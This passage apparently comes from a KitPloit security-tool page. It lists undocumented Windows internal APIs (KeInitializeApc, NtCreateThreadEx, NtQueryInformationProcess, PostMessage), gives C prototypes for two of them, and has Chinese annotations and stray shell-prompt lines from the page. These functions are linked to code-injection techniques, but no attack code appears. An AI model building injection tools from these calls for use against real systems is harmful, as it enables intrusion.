  • KeInitializeAPC(内核模式,未文档化) ```c VOID KeInitializeApc( PRKAPC Apc, PRKTHREAD Thread, KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext );
    root@kitploit:~
  • NtQueryInformationProcess (未文档化,见上文)
  • NtCreateThreadEx (未文档化) ```c NTSTATUS NTAPI NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL );
    root@kitploit:~
  • PostMessage
    root@kitploit:~